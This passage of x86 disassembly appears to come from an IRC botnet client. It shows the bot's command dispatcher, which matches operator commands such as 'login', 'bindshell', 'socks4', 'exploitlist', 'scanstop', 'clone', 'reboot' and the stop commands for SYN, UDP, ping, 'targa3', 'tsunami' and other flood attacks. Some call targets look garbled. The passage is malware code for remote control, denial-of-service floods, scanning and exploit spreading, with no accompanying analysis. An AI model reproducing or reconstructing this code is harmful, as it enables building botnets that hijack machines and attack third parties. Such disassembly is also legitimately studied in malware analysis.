		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFD4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB508
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFB8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CFB0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF98
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_42CF5C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CF18


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEF0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset word_415C5A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2670EC6h
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_42CEB8
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE88
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi
		push	offset asc_42CE50 ; "l"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D810


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset asc_42D128 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D828[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D810[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEF
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEF
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CE10 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40284A
		cmp	[ebp+var_A0], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D124 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D124 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD64


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD3C
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD20
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD04
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCF0
		push	offset dword_42CCE4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CCC4
		push	offset dword_42CCB4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi
		push	offset dword_42CCA8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB44
		push	[ebp+var_88]
		push	edi
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAAC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA88
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA68
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset unk_42C9A4
		jnz	short loc_403192
		mov	eax, offset unk_42C97C


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
